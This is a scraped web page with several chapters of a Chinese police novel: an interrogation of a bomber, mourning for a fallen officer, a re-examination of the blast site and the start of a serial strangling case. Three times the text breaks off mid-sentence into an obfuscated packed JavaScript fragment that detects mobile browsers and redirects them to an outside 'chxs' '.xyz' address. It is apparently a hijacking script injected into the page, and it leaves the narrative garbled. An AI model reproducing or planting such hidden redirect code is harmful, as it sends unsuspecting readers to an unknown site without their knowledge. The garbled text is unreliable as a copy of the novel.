“是啊,”李天明抬起头,朝陆闻咧开嘴笑了笑,“不过没能把陆警官给骗过去,真是可惜了。” “李天明!”闻言,陆闻怒极拍桌而起,指着李天明低吼道,“你到底为什么要在那里放炸药,你谋划这一切的目的又是为了什么?” “你知不知道,因为你,我们有两名警察现在正在医院里抢救,而你还害死了一名警察,他们是无辜的!” “他们是无辜,可是陆警官,人不是你叫去的吗?” “你……” “陆队!”一旁的苏乐连忙站起身将陆闻拦了过去,而后朝他摇摇头,“不要太激动,正事要紧。” 陆闻没答话,可逐渐舒展的眉头却让苏乐松了口气。 他重新坐回椅子上,良久,才缓缓开口道:“李天明,都交代吧,你这些年来犯罪的全过程。” 见陆闻不能拿自己怎样,李天明嗤笑一声,身体前倾趴在桌板上:“我犯罪的过程,陆警官不是都查的差不多了吗,还有什么是需要我交代的?” 陆闻没说话,只是面色阴沉地紧盯着眼前的人。李天明与他对视不过几秒,就敛起笑容继续道:“我爸被田玉清害死时,我才只有十岁。” “陆警官应该不知道,一位母亲独自拉扯一个孩子长大是有多么辛苦,更何况我妈还是个看不见的残疾人。而这一切,都是拜那个田玉清所赐,我不过是为父报仇而已。” “李天明,你口口声声说是田玉清害死了你的父亲,可是据我所知,当时警方给出的结果是,李志国确实是自杀。” “他们杀了我爸,为了掩盖罪行才谎称我爸是自杀!”李天明顿了顿,因气愤而涨红的额角青筋暴起。 “他们知道拿我爸的手在刀上印指纹,还会模仿我爸的笔迹写遗书,伪造他自杀的假象,以为这样之后就可以心安理得?不,我要让他们用和我爸同样的方式死去。” 陆闻微不可察地皱了皱眉:“那,你在田玉清身上多划的那二十八刀是?” “亲手毁了我幸福家庭的人,那二十八刀都是少的,我恨不能将他千刀万剐!”说到最后四个字时,李天明泄愤似的捶了一下桌子。 铁铐砸在桌面上后发出了清脆的响声,似乎也在为当时受到不公的李志国呐喊。可那响声在此刻却尤为刺耳,正如眼前使用了极端方式的李天明。 陆闻没说话,而在旁边负责记录的苏乐突然开口道:“可是,就连你的母亲许明华也接受了李志国是自杀的结果,那么你反复强调李志国是被他杀的依据是什么,你是发现了什么重要的线索吗?” “当时只有十岁的小孩儿能发现什么线索,可我就是知道,我爸他不会自杀的。” 言罢,李天明忽地抬起头,面露狰狞地冷笑着:“你们现在知道来找我要线索了,当年只因为池玉林的几句话,你们这些警察不也什么线索都没找到,就判定我爸是自杀了吗?” “所以我就特别讨厌你们这些警察,冠冕堂皇自诩正义,你们真的对得起自己心里的那本法吗?啊?” 面对李天明的质问,陆闻只觉得有些可笑,可他面上的表情却始终没有太大的变化:“李天明,同一件衣服,每个人穿都是不一样的。衣服就在那里它不会变,变的是来穿上这件衣服的人。” “我不能保证所有人穿上这件衣服都是合适的,但总有人会想办法让这件衣服变得合适。至少在我这里,已经牺牲的林一然就是。” “陆警官,”李天明抬起眼帘,面带挑衅地朝陆闻看过去,“我不是都说了嘛,那枚炸药是我为你布置的,可你却让其他警察去了,他是替你死的,是你害死了他。” “李天明!” 陆闻彻底被李天明的态度给激怒,他拍桌跳起,正要离开审讯台冲过去的时候,被苏乐给一把拦住:“陆队,你冷静一点!” “你放开我,我要弄死他!” “陆队!” 在隔壁监控室守着的两名警员见状,立刻冲进来将陆闻抱住,然后把人往审讯室的门外拖去。 陆闻紧盯着距离自己越来越远的李天明,使劲儿地想要推开阻止自己的两人:“你们俩放开我,放开……” 就在两名警员刚把陆闻带出审讯室,迎面过来的三名警察,在他们面前停住了脚步:“这是怎么回事儿啊?” “武局。”两名警员立刻放开陆闻,朝来人鞠了一躬。 听见来人是武淇君,陆闻没再挣扎,而是转过身看向身后的人:“武局,您怎么来了?” “听说你们抓住了723案的真凶,我过来看看。” 武淇君向前一步,拍了拍陆闻的肩膀,轻声道:“小陆啊,林一然的事我都听说了,我知道他之前一直跟在你身边,这孩子不错的,可惜了。不过,我还是希望你能尽量调整好自己的情绪,咱们的战友不能白白牺牲。” 陆闻有些无力地点点头:“明白。” “喂,请问是杨瑞风的家属吗?这里是宁水市人民医院,您的先生在新桥路发生车祸……” “刚才医院打电话过来,你爸没能抢救过来,况况,我们终于解脱了。” “妈……” 躺在病床上的人缓缓睁开眼睛,他看到了天花板,还有站在旁边为他更换点滴瓶的护士,从模糊的轮廓一点点清晰起来。 “齐先生,您醒啦?” “嗯……”齐况有气无力地点点头,“现在什么时间了?” “齐先生,您已经在这里昏迷三天了。” “三天……” “齐哥?”警员办公室外,苏乐正准备去给陆闻送材料,却没想到竟在门口碰上过来上班的齐况,“你怎么样了?” “好多了,你这是?” “哦,这几天我们对整起连环案重新做了整理,这是马上要移交给检察院那边的相关材料。” “是要送去陆队办公室吗?”见苏乐点头,齐况继续道,“那我帮你送去吧,正好我也要去和陆队打个招呼。” “当然可以,只是……” 似乎是想到了什么,苏乐的神情有些黯然:“因为一然的事,陆队这几天的状态不是特别好,齐哥你记得开导开导他。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985482|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听到林一然的名字时,齐况的眸色暗了暗。虽然他这几天都在医院,可那天的事他确实也听说了,说到底,林一然是为了救自己才…… “我会的。” 在陆闻办公室外面敲了几下门却无人应后,齐况便推开门走了进去,谁知办公室里此刻竟然空无一人。 齐况有些奇怪,除了出现场时陆闻不在,其他时候他都会在队里,而且也没听说最近有什么案子要办啊。 齐况在走廊里转了好几圈儿,最后终于在询问室里,找到了把自己关在里面的陆闻。 “陆队。”齐况推开门走了进去,而后在他对面坐下,眼前还有一堆散落在桌子上的积木。 “需要移交到检察院的材料,苏乐都整理好放在你办公桌上了。” “嗯。”陆闻这才回过神来,“你怎么来了,伤都好了?” “都好的差不多了。”齐况紧盯着眼前有些心不在焉的人,出声试探道,“陆队,你,没事儿吧?” “没事儿啊,就是想过来坐坐。” 言罢,陆闻朝他露出了一个笑容,表示自己真的没什么事,只是在齐况看来,那笑容实在有些苦涩。 于是,齐况也笑了。 不过那笑容也没比陆闻的好看上几分。 “陆队,”良久,齐况敛起笑容,声音却有些颤抖,“对不起,一然他,也是为了救我才……” “没什么需要和我说对不起的。”陆闻打断了齐况接下来的话,“一然是名好警察,李天明说的没错,是我。” “是我明知那里有危险,还是让一然去了。”陆闻的声音越来越小,小到最后这里除了两人的叹息声,什么也听不到。 听说一切都结束后,大家在警员办公室给林一然组织了一场悼别会,林一然的工位一直没人收拾,之前他放在这里的照片也没被拿走。 照片上,青年拿着那盒他送给过所有人的牛奶,朝镜头比了个耶的手势,他笑的温暖开朗,一如他平时在队里,就像个活跃气氛的小太阳。 或许是想到照片上的大男孩儿已经永远离开了他们,周围的警员都没忍住红了眼眶。 直到站在门口的陆闻走进来,屋内的人才立刻站直招呼了一声:“陆队。” 陆闻没说话,只是朝周围环视一圈,将每个人低落的情绪都收入眼底:“我知道,一然的离开让大家都很难过。可是,这就是我们的职业,是我们的使命!” 随后跟上来的齐况扶着门框没有进来,他紧盯着站在人群中间的陆闻,那个说话铿锵有力,却早已红了眼眶的陆闻。 齐况知道,林一然牺牲,陆闻比队里任何一个人都要愧疚,因为是他没能坚定地拒绝林一然的请求,才让这个大男孩儿的时间永远停在了耀眼的25岁。 齐况回过神,继续听着陆闻接下来的话:“现在离开这里的是林一然,说不定明天,或者今天也可能在下一分钟,离开这里的就会是我们中的任何一个。” “所以我们要打起精神,不能让我们的战友白白牺牲,更要努力早犯罪分子一步,避免我们更多的战友牺牲。” “因为我们是人民警察。我们不会因为害怕而退缩,也不能向犯罪分子低头,与一切的犯罪活动作斗争,就是我们一直努力前进的方向。” 大概是因为陆闻的一番话,屋内的人都默默憋回了眼泪,取而代之的是坚定不移的眼神。 陆闻强忍着悲痛,将目光移到林一然的那张照片上,再看一眼,最后再看一眼。 “陆队!”屋内陆闻的话音未落,门外一名警员突然跑进来,“景新南区有人报案,说在白鹭湾附近发现尸体。” 闻言,周围的警员都绷紧了神经,重新看向人群中间的陆闻:“苏乐,立刻联系法医那边和技术部门的同事,其他人,开始干活儿。” “是,陆队!” 27. 寻踪 “目标车辆驶入南山路北段路口,将在一个红绿灯后右拐入翠微路。那边怎么样了?” “陆队,我们已经提前在翠微路与观海路路口设下路障,此路段路况良好,就等着人过来了。” “很好。” 城东分局刑侦大队队长陆闻,此刻正开车追捕一起刑事案件的嫌疑人。他拿起对讲机,接着又说了一句:“尽量在嫌疑人车辆进入观海路之后立刻拦截。” “收到陆队。” 齐况刚准备放下对讲机,苏乐的声音旋即从里面传来:“齐哥,目标车辆距离观海路路口大概还有两百米。” “好,我知道了。”回复完苏乐之后,齐况转身面向正站在路障前的一排警察,“目标车辆即将进入观海路,请大家做好准备。” 伴随着由远而近的警笛声,一辆白色轿车快速驶向观海路中段的高架桥,径直朝那一排路障冲过去。 “警察,停车!” 那嫌疑人见自己已经进退两难,干脆破罐子破摔,猛加车速朝前冲过去:“妈的,能带走一个是一个!” “周洋,我们命令你立刻停下!” 跟在后面的陆闻皱起眉头,踩下油门紧追上去:“大家不要硬抗,先退到旁边保证安全。” 谁料陆闻的话音还未落,一个人影已经冲到嫌疑人的车前,眼见车辆距离自己越来越近,那人却丝毫没有躲闪之意。 “齐哥!”前排已经退到一边的警察在看清车前的人后,吓得立刻拿起扩音器大喊道,“齐哥危险,快退回来!” 大概是注意到路障前开始乱起来,一种不安的感觉自陆闻的心底升起,他没再多想,将油门猛踩到底。 就在目标车辆距离齐况还有十米左右时,陆闻的车已经朝他左侧别过去。而周洋在注意到后,虽下意识地踩了刹车,却还是被陆闻的车给推向了右边道路。 两辆车就这样停在了齐况面前。 原本还紧闭着双眼的他,在听到车轮与地面相互摩擦的那一声后,才缓缓睁开眼睛,可在看到近在咫尺的汽车时,还是不由自主地咽了咽口水。 “小天小马,把人拽出来扣上!” 陆闻骂骂咧咧地推开车门下了车,旋即三步作两步冲到齐况的面前,像拎小鸡似的把他提到了路边。后者也不反抗,只随着陆闻的动作快步跟上去。 陆闻双手叉腰,看着停在不远处的两辆汽车,还是没忍住怒火对着齐况大吼道:“你是不是傻?我都说了先保证自己的安全,你还给我往前冲,想用自己的身体挡住车啊,你这小身板能挡住那么快的车吗,啊?” 齐况只低着头没说话。 等陆闻逐渐冷静下来之后,他才抬起头朝人看过去:“对不起陆队,这次确实是我们抓捕周洋的最好机会,我当时没想那么多……” “好了。”陆闻摆摆手,没耐心再听着齐况继续说下去,“你先回队里吧,下面的事我们来就行。” “嗯。” 城东分局刑侦大队,在审讯室里审了一晚上的陆闻回到办公室,拿起桌上的水杯猛灌了一口水:“这个周洋……” 他放下水杯,刚出办公室准备将周洋的认罪口供交去武局那里时,却和从警员办公室里出来的齐况打上了照面。 边走边确认信息表的齐况不经意间抬起眼睛,正好和迎面过来的陆闻四目相对:“陆队。” “嗯。”陆闻点头应了一声,“我去武局办公室。” 言罢,两人擦肩而过。 还没往前走出几步,陆闻却忽地停下转身看过去,谁知看到的已经是齐况下楼的背影。他耸耸肩,只好先往局长办公室过去。 “武局,”陆闻推开门进去,而后将材料放在了面前的办公桌上,“全招了。这个周洋,嘴紧的很。” “辛苦了。” 见武淇君已经拿起那份口供查看,陆闻摇摇头,正准备说话时,却听见眼前人又说了一句:“听说抓捕时,有个警察挡在了周洋的车前?” “啊……”陆闻有些迟疑地点点头,“没事儿,这次确实是我没指挥好,而且他已经在第一时间承认错误了。” “嗯。”武淇君放下材料,抬起头认真地看向陆闻,“记住,不管是出什么任务,你们第一就是要保证自己的安全,只有保证了自己的安全,才能顺利将凶手抓捕归案。” “是武局,我知道。” 从武淇君办公室里出来后,陆闻顺道去了趟警员办公室,谁知却没看见齐况在里面。 “还没回来?” 陆闻刚转过身准备出去,就见苏乐拿着水杯正好进来:“陆队。” “嗯。”陆闻有些心不在焉地应了一声。 就在苏乐绕过他,快要走到自己位子的时候,他又转身将人叫住:“那个,苏乐。” “怎么了陆队?” “齐况呢,我刚找他他不在。” “哦,好像是有一个案子需要走访家属。”苏乐答完这么一句,就放下水杯坐回了座位上。 陆闻若有所思地点点头,便没再说话。 就在他转身就要出门的时候,却听见苏乐这样说道:“对了陆队,观海路废弃大楼爆炸案的警察醒了。” 从受害者家出来之后,齐况站在路口点开了打车软件,谁知下一秒,一辆黑色轿车就停在了他的面前。 “上来。” 齐况透过车窗看向车里的人,而后抬手拉开车门坐进去:“怎么了?” “废弃大楼爆炸案现场的警察醒了,正好去问问当时的详细情况。”言罢,陆闻便缓缓启动车子,往医院的方向驶去。 车辆平稳地行驶在公路上,陆闻悄悄瞥了眼从出发就一直在低头整理信息的齐况,有些生硬地开口道:“那个,受害者家属的证词啊?” “嗯,”齐况点点头,却没移开目光,“来好几次了,受害者家属一直不愿意配合。” “哎我那边也是,昨天和周洋耗了一晚上才……” 大概是想到什么,陆闻适时地闭了嘴。他侧过头看向齐况,见后者也正一脸疑惑地盯着自己,他才继续道—— “那个……齐况,昨天抓捕周洋的时候,我对你说的话有点重了,我向你道歉,你别太放在心上啊。” 闻言,齐况先是不明所以地皱紧眉头,而后才恍然地笑了起来:“陆队,你不用道歉的,你的意思我都明白,当时,确实是我的问题,我不该那么冲动的。” 而且,不久前林一然才出了那样的事,齐况知道陆闻是不想再看到任何同事有生命危险,所以当时才会那么生气。 听齐况这么说,陆闻终于松下一口气:“那就好。额……不过,回去检讨还得写啊。” 蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985483|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海市中心医院,陆闻抬手在紧闭的房门上敲了几下,而后点头示意齐况跟他一起进去。 这间病房里,总共就住了这两名警察,所以不会有旁人打扰到他们的谈话。 距离废弃大楼发生爆炸,已经过去了四周左右,不过由于现场的炸药威力不小,两名警察也是在不久前才转到的普通病房。 而且因为大面积的烧伤,两名警察的身体和脸上,到现在都还裹着厚厚的纱布。 “小李,庄子,你们怎么样了,感觉好些了吗?”陆闻小心翼翼地问了这么一句。 “陆队,齐况。” 见陆闻和齐况进来,两名警察挣扎着想要起身,却被陆闻和齐况给拦住了:“都好好躺着就行。” “陆队,其他两位同事呢?” 陆闻没回答,而是提出其他问题来转移他们的注意力:“庄子,我和齐况这次过来,就是想问问你和小李,当时到底发生了什么。” “我记得……”躺在里床的小李突然开口道,“当时我们四个上了废弃大楼。” 观海路废弃大楼,是建在蓝海市东部海边的一座大型剧院。后来在建成之际,因为劳动纠纷彻底停工,之后就废弃了下来。 大楼总共有五层,林一然和其他三名警察进到里面之后,先是依次对下面四层进行了搜索,见并没发现什么异样,几人才一齐上到了顶层。 在顶层的最里面有个房间,因为在门外发现了不少的生活痕迹,几人由此判定李天明当时就是把齐况关在了这里。 不过此刻面前的大门紧闭,几人虽不好判断里面会有什么在等着他们,却还是做好了时刻要冲进去的准备。 “庄子,咱们俩进队里的时间最长,小林和柏柏都还年轻,万一有什么危险,我们俩可不能让两个小的上啊。” “那是当然。” “庄哥,小李哥,躲在前辈后面,也不是我们这些后辈能干出来的事儿啊。” “柏柏说得对,我们一起上。” “那可不行,”庄子拍了拍身旁林一然的肩膀,“要真有什么事儿,还得靠你俩帮忙找人过来呢。听话,就这么说定了!” “我记得,我和庄子刚打开门,还没反应过来炸药就爆炸了。虽然当时我们都躲在墙后,可爆炸后产生的冲击还是将我们推了好远,在这之后,我们就逐渐失去意识了。” 陆闻没说话,而是仔细翻看了当时对于现场痕迹的记录和林一然的尸检报告:“这么说,当时林一然和卫柏距离炸药并没有那么近?” “是啊。”庄子点头应道。 大概是从陆闻这句话里想到了什么,他突然有些着急:“是不是小林和柏柏出什么事了?” “庄子你别太激动,”陆闻连忙将他按下去,“我们只是过来了解下当时的情况,你别想这么多。” “真的吗陆队?”一旁的小李又问道。 “当然了小李哥,我和陆队只是觉得现场还有些疑点,想过来问问而已。” 好不容易安抚好两人的情绪,在和齐况从病房里出来后,陆闻就马上拿出手机给苏乐打了个电话:“通知队里同事,要是小李和庄子问起来,先不要和他们说一然已经牺牲的消息。” 电话挂断之后,陆闻将手机重新放回口袋,而后转身看向跟在后面的齐况:“走,去观海路废弃大楼看看。” 28. 寻踪 从市中心医院出来后,已经临近中午,陆闻和齐况商量着先去医院对面解决午饭,然后再出发去观海路废弃大楼。 “老板,来两碗米线,微辣。” “好嘞,香葱香菜都要?” “我都可以,”陆闻转头看向对面坐着的齐况,“你呢?” “不要香菜。” “好嘞——” 在两人等米线的过程中,陆闻又想起刚才在医院里,他们和小李还有庄子的谈话:“爆炸的现场我后来去看过,一然的位置是在小李和庄子的旁边。” “如果,真照小李和庄子说的那样,一然当时是在队伍后方,那应该不会是在那个位置啊。” “嗯。”齐况想了想,“不过现场痕迹混乱,也不排除一然后来想要去救小李哥和庄哥,而后因烟尘窒息昏倒在两人旁边。” “确实有这个可能,一然的尸检报告里有提到在他额头的位置有撞击伤,当时韩法医推测,很可能是木板掉落下来正好砸中导致他昏迷,这才没能及时离开。” “米线两碗。” “谢谢。”陆闻和齐况异口同声道。 快速解决完午饭后,两人驱车来到了观海路废弃大楼。 午后的日光,均匀地洒在波涛汹涌的海面上,而在这座大楼东边的窗口,刚好可以看到泛着金光的海面。 海风微咸,似乎是刻意要掩盖废弃大楼爆炸后弥漫不散的烟尘味,也掩盖这里曾发生过命案的事实。 陆闻知道,他必须通过这些疑点找出爆炸之后的真相,否则若干年过去,时间就会像这些海风一样,隐去所有人对林一然的记忆。 “因为现场的脚印很杂乱,我们没法儿判定当时是否有第五个人在。” 陆闻蹲下身,面前是当时勘查人员在现场留下的尸体痕迹固定线:“而且爆炸后引起的火灾,会烧掉很多线索。” 齐况没说话,只是蹲在地上,将一块只剩下半截的木块,举在眼前仔细观察着:“现场没有多余的木板或木头,只有这一块快要被烧完的木块,如果林一然在生前受到过撞击,很有可能就是这个。” 言罢,齐况抬起头看向屋顶,除了砖墙和水泥顶,确实有几块施工后没来得及卸下的长木板。只是这块木板与屋顶上的木板是否出自一处,目前还不好说。 “陆队,我想把屋顶上的木板卸下来带回去看看,可以吗?” “当然可以,”陆闻走到齐况身边,顺着他的目光也看向屋顶,“我马上联系人过来。” “谢谢。” 联系好技术那边的同事后,陆闻将手机放回口袋,却在不经意间,瞥到正趴在窗台前看得出神的齐况。 “好看吗?” 闻言,齐况回过神,将目光移到身旁同样趴在窗台上的陆闻:“当然。其实宁水也有海,看着这里,就好像我也站在了宁水的海边。” “你,想家了?” 其实刚开始陆闻也在疑惑,为什么齐况明明是宁水人,却选择留在了蓝海工作。 尤其是警察这个职业,案子多的时候十天半个月回不了家都是常事,更何况他家还在这么远的地方。 可他却看见齐况在点头之后,又笑着摇了摇头:“也不算想家吧,只是有些想念,那个曾陪伴了我近二十年的城市。” 见齐况的神色有些暗淡,陆闻没再继续问下去,他双手撑在窗台上,目光遥遥望向天与海的连接处:“想念就抽空回去看看,哪怕只是一眼,也算是回去了。” “嗯……我会的。”言罢,齐况愣怔着停顿许久,才微微侧过头朝陆闻笑了笑。 技术那边的人过来把屋顶的木板卸下来之后,也连着齐况留下的那块残骸,给一起带了回去。 没过多久,陆闻就收到了那边的检验结果。 原来,技术那边从屋顶上卸下来的木板是杉木,而齐况在现场发现的那块残骸却是榆木,由于两种木板的表面都被涂了厚厚的桐油,所以不注意的话,轻易也不会被发现。 挂断电话后,陆闻第一时间将这个结果告诉了齐况:“如果后面再找不到其他木块,那你在现场发现的那块残骸,很有可能是被人从外面带进去的。” “嗯。”齐况若有所思地点点头,而后对上陆闻的眸子,“那就是说,一然的死,绝不会是意外。” 初秋的晚风吹的寂静而温柔,路上三三两两,都是结伴在街上散步闲逛,或者和朋友相约吃路边摊的人。 陆闻从分局出来的时候,已经临近十一点。他打开车门钻进车里,刚准备启动时,放在旁边的手机突然振动起来—— “喂,妈。” “哎小闻呐,”李如芳的声音从电话那边传过来,“还在忙吗?是这样的,你堂弟家的孩子出生了,是个男孩儿。人家头胎的时候你就没去,这次人又生了个儿子,你抽空得去看看知道嘛!” “哎呦妈,”陆闻挠了挠头,啧声道,“我这天天忙得很,你和我爸买点东西去看看就是了。” “我说你这孩子,一天天的就知道忙忙忙,你堂弟比你还小三岁,这都有两个孩子了,你什么时候才能不让我这么操心!啊?” “妈——” “别,你这次要是不去啊,就别叫我妈!”李如芳说完这句,还没等陆闻开口,就直接挂了电话。 “我……”陆闻对着手里已经被挂断的电话愣了愣,不过片刻,就放回手机将车子启动。 路边还有很多店铺没来得及关门,陆闻就顺道观察了周围,有没有适合买来送人的礼品店。 就在他快要到自家的小区时,附近街角新开的一家玩偶店忽地吸引了他的注意。 拐角一扇方格玻璃门上还挂着营业牌,右侧则是放着近人高的娃娃的橱窗,从橱窗看进去,能发现店铺内也都摆放着各式各样的玩偶。 “小孩子应该都喜欢玩偶吧?”陆闻自顾自的嘀咕一句,而后将车停在路边,走向了那家玩偶店。 暖黄色的灯光填满了整间店铺,可随处可见的娃娃竟透露着些许诡异,陆闻从小就不喜欢这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985484|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人形娃娃,不由自主地打了个寒颤。 店铺里还有一扇门,陆闻想着老板可能在那里,于是就朝着里面喊了一声:“你好,有人在吗?” 不过片刻,一个穿着围裙的青年男子果然从里面走了出来:“你好先生,请问需要点什么?” “额……”陆闻随手指了指旁边的玩偶娃娃,“小孩儿比较喜欢哪一种?” “先生,我们店里的玩偶每一款都很受欢迎的,不知道您家的孩子现在多大了,男孩儿女孩儿?” “啊——”陆闻仔细回忆着刚才在电话里李如芳说过的话,“男孩儿,男孩儿,才刚出生。” “通常来说,人形娃娃应该是女孩子喜欢的多一些,刚出生的男孩儿的话,先生可以考虑一下动物形的毛绒玩偶。” 店老板说着,走到一处展台前拿起一只兔子玩偶:“就像这种,这种玩偶上没有什么装饰,也不用担心会被小孩子吃到嘴里。” 陆闻对这种事情没什么经验,反正听店老板说的有道理,就走过去拿起来看了看。左挑右选之后,他从展台上又挑中了一只柴犬玩偶:“那就拿这两个吧。” 从店里出来之后,陆闻将装有玩偶的礼品袋随手放在了副驾驶的位置上,他透过车窗看了眼不远处还亮着灯的玩偶店,而后才扣上安全带启动车子离开。 “陆队,这是我们在李天明手机上,查到的关于他被捕之前,联系过的所有人的信息。” “好,先放下吧。” “陆队,这是李天明被捕当天,观海路废弃大楼附近所有的监控。” “好,我等会儿看。” 齐况进到警员工作室时,陆闻正坐在工位上,查看有关当时废弃大楼爆炸的全部资料。 “陆队,这是?” 陆闻没抬头,只是继续翻看着手里的资料:“技术那边对一然发生意外的现场进行复勘之后,又发现了些新的线索。” “你看这里,这是在废弃大楼一楼楼梯间里发现的一堆木板,整栋废弃大楼屋顶上架着的木板都是杉木,只有这里的是榆木。” “你再看这里的灰尘,很明显上面有一块木板不久前被拿掉了,而且我们在旁边的那块榆木上,还发现了被物体擦过的新痕迹,我觉得应该是有人在拿木板的时候,不小心用手蹭到了。” “能在剩余木板上提取到有效指纹吗?” 陆闻摇摇头,叹声道:“暂时还没发现。不过……” 他顿了顿,眉头不由得紧皱起来:“我觉得这可以说明,一然的死绝没有那么简单,至少是有人提前准备好的。” “陆队,你在这儿啊。”苏乐忽地从外面小跑进来,打断了两人之间的谈话,“有人报案,在南山北路地铁站出口处不远,发现了一名男性尸体。” 闻言,陆闻立刻站起身:“通知其他人了吗?” 苏乐点头道:“韩法医和技术部门的同事已经先赶过去了。” “走。”言罢,陆闻放下手里的资料,带着两人一起出了分局。 29. 补旧 三人赶到南山北路的地铁站附近时,案发现场周围已经设下了警戒线。 穿过警戒线进到里面之后,苏乐和齐况分头过去帮忙,而陆闻则是直接去了法医那边。 陆闻抓紧戴好口罩和手套,走到正在查看尸体的韩唐对面:“韩法医,怎么样了?” “机械性窒息死亡,”韩唐抬手示意身旁的侦查员将尸体盖上,而后才站起身看向来人,“死者的颈部有一条勒痕,从它的痕迹来看,我觉得作案工具应该是麻绳,不过目前在周围还没有发现这一类的证据。” “对了,”韩唐指了指法医助理手里的证据袋,“那个是在死者的口袋里发现的,和你之前那起案子,我猜测可能是同一人作案。” “连环杀人……”闻言,陆闻陷入了沉思。 他还记得,两周前他们也接到过一起报案,受害者是男性,案发地点在南山路与翠微路相交的第三小学附近。同样的,在他身上也有一个这样的小玩具——塑料制的模型车。 这种模型车放在成年人手里,大概只比掌心大了一圈,在路边商店尤其是学校附近的小卖部里比较常见,而且特别畅销。 三小距离这边不过一段短程,既然两起案件的作案手法相同,案发地点相近,说不定作案人的活动范围就在这附近。 “好,我知道了。”陆闻双手环抱,看着两名警员将尸体抬上车,“有新发现随时联系我。” “嗯。”韩唐应下一声,而后跟着上车先回了法医鉴定中心。 陆闻目送着他们离开后,才转身在现场的尸体痕迹固定线周围仔细查看了一番。 从现场痕迹来看,尸体当时呈仰躺姿势,脚下一道长长的拖拽痕迹,表明这里并不是第一案发现场。 陆闻沿着拖拽痕迹往前走了一段,大概的路线是从距离地铁站出口不远的小路边开始,一直绕到这条绿化带后面,而后将尸体隐藏在这里,使人暂时发现不到这里的异样。 可惜的是,这附近是个公园,人来人往的脚印很杂乱,在排查之前,他们暂时还找不到任何有用的痕迹。 城东分局刑侦大队,陆闻站在白板前,将他们目前搜集到的线索一一张贴在了上面:“好,接下来先由我,简单的给大家概括一下两起案件的已知情况。” “首先,左边的这名男性叫周鹏,今年38岁,蓝海本地人,是一家超市的送货员。两周前我们接到报案,在第三小学附近发现受害者的尸体,且在尸体的裤子口袋里,我们发现了一辆玩具小汽车。” 陆闻用白板笔指了指中间那张照片上的汽车模型:“然后就是,在本起案件受害者梁赫的裤子口袋里,我们发现了一辆同样的汽车模型。” “梁赫,今年32岁,同样是蓝海本地人。他是一家小型企业的文员,不过依我们目前的调查结果来看,两者之间并没有什么联系。” “会不会是无差别杀人?” “有可能,”陆闻看向说话的齐况,点头道,“不过,稍后我想再去排查下案发现场附近的情况。” 言罢,陆闻抬步向前,双手撑在会议桌上:“第二小组,分别走访两起案件的受害者家属,第一小组去两个案发现场附近进行摸排。” “啊,苏乐留下,负责查看南山北路地铁站和三小附近的监控录像,有情况随时联系我。好了,都去干活儿吧。” 走出会议室之后,陆闻叫住了跟在人群后面的齐况:“案件的关键应该在玩具车,你和我去附近看看哪里有卖这个的。” “好。” 陆闻以为,这种塑料玩具车做工并不精致,看起来应该是随处可见的,在商店里最便宜的那一种。 不过在去了大大小小几个店铺之后,店老板都表示这种玩具车的款式已经过时,在市面上已经很少出现了。 而在去了几个开店时间较长的店铺之后,陆闻又了解到,这种玩具车并不是直接售卖的产品,而是要通过刮奖才能兑换。 “作案人的年纪应该在35岁到41岁之间。”陆闻靠在路边的车辆前,仔细回想着刚才在店铺里询问到的线索,“这种抽奖的小汽车,也就只是在那几年里比较畅销,后来基本就看不到了。” 齐况若有所思地点点头:“而且以勒死的方式杀害了两名成年男性,那相对来说他的体型不会太瘦弱,否则受害者在挣扎过程中是有可能逃脱的。” “没错,而且……”陆闻的话还没说完,口袋里的手机突然振动起来,“喂,我知道了。” 挂断电话之后,陆闻挥手示意齐况上车:“先回队里。” 城东分局刑侦支队会议室内,参与本起和之前案件的警员陆陆续续进来坐下,陆闻将之前理好线索的白板推到会议桌前,转身面向大家—— “人都到齐了?那我们现在开始……” 陆闻的话还未说完,会议室的门突然被从外面推开,来人正是武淇君。 “武局。” 武淇君摆摆手,走到一个空位前坐下:“我就过来听听,你继续。” 陆闻点点头,而后才开口道:“首先,在南山路第三小学附近,和距离南山北路地铁口三十四米的绿化带后,我们先后发现了两具男性尸体。” “由于两起案件现场存在的证据相似,作案手法高度一致,我们推测作案人为同一人,目前已经申请做了并案调查。” “不过经调查发现,两人在生前无交集,无明显共同特征和联系,暂时定为无差别作案。” “那对于两名死者社会关系的延伸,比如他们的朋友之间是不是认识,对此是否做了调查?” 陆闻看向对面的武淇君,点头道:“第二小组在走访受害者家属后了解到,两名受害者的孩子都就读于第三小学。” “不过一个刚准备上二年级,一个开学就要上六年级了,而且低年级和高年级的教学楼并不在一起,两个孩子也互相不认识。” “嗯。”武淇君若有所思地点着头,良久,才加了一句,“不过这也算是一条有用的线索,关键时刻或许会是道突破口。” 